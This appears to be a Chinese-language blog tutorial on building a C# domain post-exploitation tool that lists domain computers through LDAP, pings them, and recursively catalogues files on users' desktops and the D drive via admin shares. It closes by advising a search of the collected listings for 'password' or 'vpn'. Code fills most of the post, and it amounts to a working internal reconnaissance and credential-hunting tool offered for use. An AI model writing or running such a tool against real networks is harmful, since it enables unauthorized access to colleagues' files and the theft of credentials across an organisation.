• 域内批量获取敏感文件


    0x01 批量获取域内机器名

    自动化工具,当然就要全自动,懒人必备。net group "domain computers" /do ,获取机器是3个一排,然后可以通过正则删除空格,每次也麻烦,直接获取机器名更加方便。

    思路就是连接ldap然后指定过滤条件(&(objectclass=computer))获取机器。

    获取域内机器

    1. public static DirectoryEntry coon = null;
    2. public static DirectorySearcher search = null;
    3. url = "LDAP://" + ip; 
    4. username = domain user;
    5. password = domain pass;
    6. coon = new DirectoryEntry(url, username, password);
    7. search = new DirectorySearcher(coon);
    8. search.Filter = "(&(objectclass=computer))
    9.  foreach (SearchResult r in Ldapcoon.search.FindAll())
    10.  {
    11.      string computername = "";
    12.      computername = r.Properties["cn"][0].ToString();
    13.      Console.WriteLine(computername);
    14.  }

    0x02 机器探测存活

    1.把上述机器放入machine.txt内,然后逐行读取

    1. StreamReader machine_name = new StreamReader(@"machine.txt");
    2. while (!machine_name.EndOfStream)
    3. {
    4.     string machine = machine_name.ReadLine();
    5.     Console.WriteLine(machine);
    6. }

    2.探测探测存活,这里面向谷歌

    1.  public static bool IsMachineUp(string hostName)
    2.         {
    3.             bool retVal = false;
    4.             try
    5.             {
    6.                 Ping pingSender = new Ping();
    7.                 PingOptions options = new PingOptions();
    8.                 // Use the default Ttl value which is 128,
    9.                 // but change the fragmentation behavior.
    10.                 options.DontFragment = true;
    11.                 // Create a buffer of 32 bytes of data to be transmitted.
    12.                 string data = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
    13.                 byte[] buffer = Encoding.ASCII.GetBytes(data);
    14.                 int timeout = 800;
    15.                 PingReply reply = pingSender.Send(hostName, timeout, buffer, options);
    16.                 if (reply.Status == IPStatus.Success)
    17.                 {
    18.                     retVal = true;
    19.                 }
    20.             }
    21.             catch (Exception ex)
    22.             {
    23.                 retVal = false;
    24.                 //Console.ForegroundColor = ConsoleColor.Red;
    25.                 //Console.WriteLine("[-]" + ex.Message);
    26.                 //Console.ForegroundColor = ConsoleColor.White;
    27.             }
    28.             return retVal;
    29.         }

    一般来说it机器都为工作机而非服务器,可能存在下班关机等情况,如果大多机器处于关机情况下,就会浪费比较多的时间,所以优先判断存活是很有必要的。

    1. StreamReader machine_name = new StreamReader(@"machine.txt");
    2. while (!machine_name.EndOfStream)
    3. {
    4.     try
    5.     {
    6.         string machine = machine_name.ReadLine();
    7.         if (IsMachineUp(machine))
    8.      {
    9.       //操作
    10.      }
    11.     }
    12.     catch { }
    13. }

    0x03 获取桌面文件

    我们这里构造获取结果目录呈现结果为:

    1. TargetDesktopinfos
    2.     机器1
    3.         用户A
    4.             文件
    5.         用户B
    6.             文件
    7.     机器2
    8.         用户C
    9.             文件
    10.         用户D
    11.             文件

    首先获取当前路径创建TargetDesktopinfos目录。

    1. string currentpath = Directory.GetCurrentDirectory();
    2. DesktopFiles = currentpath + "\\TargetDesktopinfos";
    3. Directory.CreateDirectory(DesktopFiles);

    然后获取目标机器c:\users\目录,如果存在该目录创建机器名

    1. string userpath = @"\\" + machine + @"\c$\users";
    2. var user_list = Directory.EnumerateDirectories(userpath);
    3. if (Directory.Exists(userpath))
    4. {
    5. //创建机器名文件夹
    6.     string MachineFolder = DesktopFiles + "\\" + machine;
    7.     Directory.CreateDirectory(MachineFolder);

    再遍历users目录存在哪些用户,同理如果存在desktop目录创建用户名和desktop.txt。

    1. string userpath = @"\\" + machine + @"\c$\users";
    2. var user_list = Directory.EnumerateDirectories(userpath);
    3. if (Directory.Exists(userpath))
    4. {
    5. //创建机器名文件夹
    6. string MachineFolder = DesktopFiles + "\\" + machine;
    7. Directory.CreateDirectory(MachineFolder);
    8. foreach (string user in user_list)
    9. {
    10. string DesktopDirectoryPath = user + "\\desktop";
    11. string username = substring(user);
    12. if (Directory.Exists(DesktopDirectoryPath))
    13. {
    14. //创建用户名文件夹
    15. string UserFolder = MachineFolder + "\\" + username;
    16. Directory.CreateDirectory(UserFolder);
    17. //创建desktop.txt文件
    18. string Desktoptxt = UserFolder + "\\desktop.txt";
    19. StreamWriter sw = File.CreateText(Desktoptxt);
    20. sw.Close();

    接下来就是遍历desktop目录所有文件以及文件夹内的文件。

    这里用到Directory.GetFileSystemEntries方法

    1. public static string[] GetFileSystemEntries (string path, string searchPattern, System.IO.SearchOption searchOption);
    2. 第一个参数path:要搜索的路径。
    3. 第二个参数searchPattern:要与 `path` 中的文件和目录的名称匹配的搜索字符串。
    4. 第三个参数searchOption,指定搜索操作是应仅包含当前目录还是应包含所有子目录的枚举值之一。

    这里的SearchOption.AllDirectories我们使用SearchOption.AllDirectories,表示在搜索操作中包括当前目录和所有它的子目录。

    完整代码如下

    1. try
    2.             {
    3.                 string DesktopFiles = "";
    4.                 //获取机器名
    5.                 StreamReader machine_name = new StreamReader(@"machine.txt");
    6.                 while (!machine_name.EndOfStream)
    7.                 {
    8.                     try
    9.                     {
    10.                         string machine = machine_name.ReadLine();
    11.                         if (IsMachineUp(machine))
    12.                         {
    13.                             //获取当前路径
    14.                             string currentpath = Directory.GetCurrentDirectory();
    15.                             DesktopFiles = currentpath + "\\TargetDesktopinfos";
    16.                             Directory.CreateDirectory(DesktopFiles);
    17.                             Console.WriteLine("[*]" + machine);
    18.                             //获取users目录
    19.                             string userpath = @"\\" + machine + @"\c$\users";
    20.                             var user_list = Directory.EnumerateDirectories(userpath);
    21.                             if (Directory.Exists(userpath))
    22.                             {
    23.                                 //创建机器名文件夹
    24.                                 string MachineFolder = DesktopFiles + "\\" + machine;
    25.                                 Directory.CreateDirectory(MachineFolder);
    26.                                 foreach (string user in user_list)
    27.                                 {
    28.                                     string DesktopDirectoryPath = user + "\\desktop";
    29.                                     string username = substring(user);
    30.                                     if (Directory.Exists(DesktopDirectoryPath))
    31.                                     {
    32.                                         //创建用户名文件夹
    33.                                         string UserFolder = MachineFolder + "\\" + username;
    34.                                         Directory.CreateDirectory(UserFolder);
    35.                                         //创建desktop.txt文件
    36.                                         string Desktoptxt = UserFolder + "\\desktop.txt";
    37.                                         StreamWriter sw = File.CreateText(Desktoptxt);
    38.                                         sw.Close();
    39.                                         string info_user = substring(user);
    40.                                         Console.ForegroundColor = ConsoleColor.Green;
    41.                                         Console.WriteLine("[*]" + info_user);
    42.                                         Console.ForegroundColor = ConsoleColor.White;
    43.                                         string[] AllFiles = Directory.GetFileSystemEntries(DesktopDirectoryPath, "*", SearchOption.AllDirectories);
    44.                                         foreach (string file in AllFiles)
    45.                                         {
    46.                                             Console.WriteLine(file);
    47.                                             string create_time = Directory.GetCreationTime(file).ToString();
    48.                                             string writeFileTo = "create time:" + create_time + "  " + file + "\r\n";
    49.                                             File.AppendAllText(Desktoptxt, writeFileTo);
    50.                                         }
    51.                                     }
    52.                                     else
    53.                                     {
    54.                                         continue;
    55.                                     }
    56.                                 }
    57.                             }
    58.                         }
    59.                         else
    60.                         {
    61.                             Console.ForegroundColor = ConsoleColor.Red;
    62.                             Console.WriteLine("[-]" + machine + " is down");
    63.                             Console.ForegroundColor = ConsoleColor.White;
    64.                         }
    65.                     }
    66.                     catch (System.Exception ex)
    67.                     {
    68.                         Console.ForegroundColor = ConsoleColor.Red;
    69.                         Console.WriteLine("[-] error");
    70.                         Console.WriteLine("[-] Exception: " + ex.Message);
    71.                         Console.ForegroundColor = ConsoleColor.White;
    72.                         continue;
    73.                     }
    74.                 }
    75.                 machine_name.Close();
    76.                 Console.WriteLine("[+]out put to:" + DesktopFiles);
    77.             }
    78.             catch (System.Exception ex)
    79.             {
    80.                 Console.ForegroundColor = ConsoleColor.Red;
    81.                 Console.WriteLine("[-] error");
    82.                 Console.WriteLine("[-] Exception: " + ex.Message);
    83.                 Console.ForegroundColor = ConsoleColor.White;
    84.                 return;
    85.             }

    同理要获取DEF盘,这里就举例D盘

    1. public static void D()
    2.         {
    3.             try
    4.             {
    5.                 string DFiles = "";
    6.                 StreamReader machine_name = new StreamReader(@"machine.txt");
    7.                 while (!machine_name.EndOfStream)
    8.                 {
    9.                     try
    10.                     {
    11.                         string machine = machine_name.ReadLine();
    12.                         if (IsMachineUp(machine))
    13.                         {
    14.                             string currentpath = Directory.GetCurrentDirectory();
    15.                             DFiles = currentpath + "\\DInfos";
    16.                             Directory.CreateDirectory(DFiles);
    17.                             Console.ForegroundColor = ConsoleColor.Yellow;
    18.                             Console.WriteLine("[*]" + machine);
    19.                             Console.ForegroundColor = ConsoleColor.White;
    20.                             //获取users目录
    21.                             string dpath = @"\\" + machine + @"\d$";
    22.                             var d_list = Directory.EnumerateDirectories(dpath);
    23.                             if (Directory.Exists(dpath))
    24.                             {
    25.                                 //创建机器名文件夹
    26.                                 string MachineFolder = DFiles + "\\" + machine;
    27.                                 Directory.CreateDirectory(MachineFolder);
    28.                                 //创建输出文本
    29.                                 string E_txt = MachineFolder + "\\dFiles.txt";
    30.                                 StreamWriter sw = File.CreateText(E_txt);
    31.                                 sw.Close();
    32.                                 try
    33.                                 {
    34.                                     var files = Directory.GetFiles(dpath);
    35.                                     foreach (string file in files)
    36.                                     {
    37.                                         Console.WriteLine(file);
    38.                                         string create_time = Directory.GetCreationTime(file).ToString();
    39.                                         string writeFileTo = "create time:" + create_time + "  " + file + "\r\n";
    40.                                         File.AppendAllText(E_txt, writeFileTo);
    41.                                     }
    42.                                     var directorys = Directory.EnumerateDirectories(dpath);
    43.                                     foreach (string directory in directorys)
    44.                                     {
    45.                                         if (!directory.Contains("System Volume Information"))
    46.                                         {
    47.                                             string[] AllFiles = Directory.GetFileSystemEntries(directory, "*", SearchOption.AllDirectories);
    48.                                             foreach (string file in AllFiles)
    49.                                             {
    50.                                                 string create_time = Directory.GetCreationTime(file).ToString();
    51.                                                 Console.WriteLine(file);
    52.                                                 string writeFileTo = "create time:" + create_time + "  " + file + "\r\n";
    53.                                                 File.AppendAllText(E_txt, writeFileTo);
    54.                                             }
    55.                                         }
    56.                                     }
    57.                                 }
    58.                                 catch (UnauthorizedAccessException ex)
    59.                                 {
    60.                                     Console.ForegroundColor = ConsoleColor.Red;
    61.                                     Console.WriteLine(ex.Message);
    62.                                     Console.ForegroundColor = ConsoleColor.White;
    63.                                     //goto cc;
    64.                                 }
    65.                             }
    66.                         }
    67.                     }
    68.                     catch (System.Exception ex)
    69.                     {
    70.                         Console.ForegroundColor = ConsoleColor.Red;
    71.                         Console.WriteLine("[-] 不存在D盘");
    72.                         Console.WriteLine(ex.Message);
    73.                         Console.ForegroundColor = ConsoleColor.White;
    74.                         continue;
    75.                     }
    76.                 }
    77.                 machine_name.Close();
    78.                 Console.WriteLine("[+]out put to:" + DFiles);
    79.             }
    80.             catch (System.Exception ex)
    81.             {
    82.                 Console.ForegroundColor = ConsoleColor.Red;
    83.                 Console.WriteLine("[-] error");
    84.                 Console.WriteLine("[-] Exception: " + ex.Message);
    85.                 Console.ForegroundColor = ConsoleColor.White;
    86.                 return;
    87.             }
    88.         }

    这里我们在08这台域机器桌面存放文件

    测试效

    结果呈现

    接下来直接文件夹搜索password或者vpn等关键字即可。

  • 相关阅读:
    点击button按钮整体页面刷新
    鹰潭病理实验室建设、筹建考虑因素
    docker 容器 network host 模式启动
    Opengl之面剔除
    二叉搜索树
    R语言使用plot函数可视化数据散点图,使用mtext函数在可视化图像的底部居中添加自定义文本标签(bottom)
    1200万像素通过算法无失真扩展到1.92亿像素——加权概率模型收缩模型图像像素扩展算法
    JavaSE之异常
    Python中json数据的常用操作函数:dump load dumps和loads
    Python数据分析培训班介绍
  • 原文地址:https://blog.csdn.net/hongduilanjun/article/details/127641257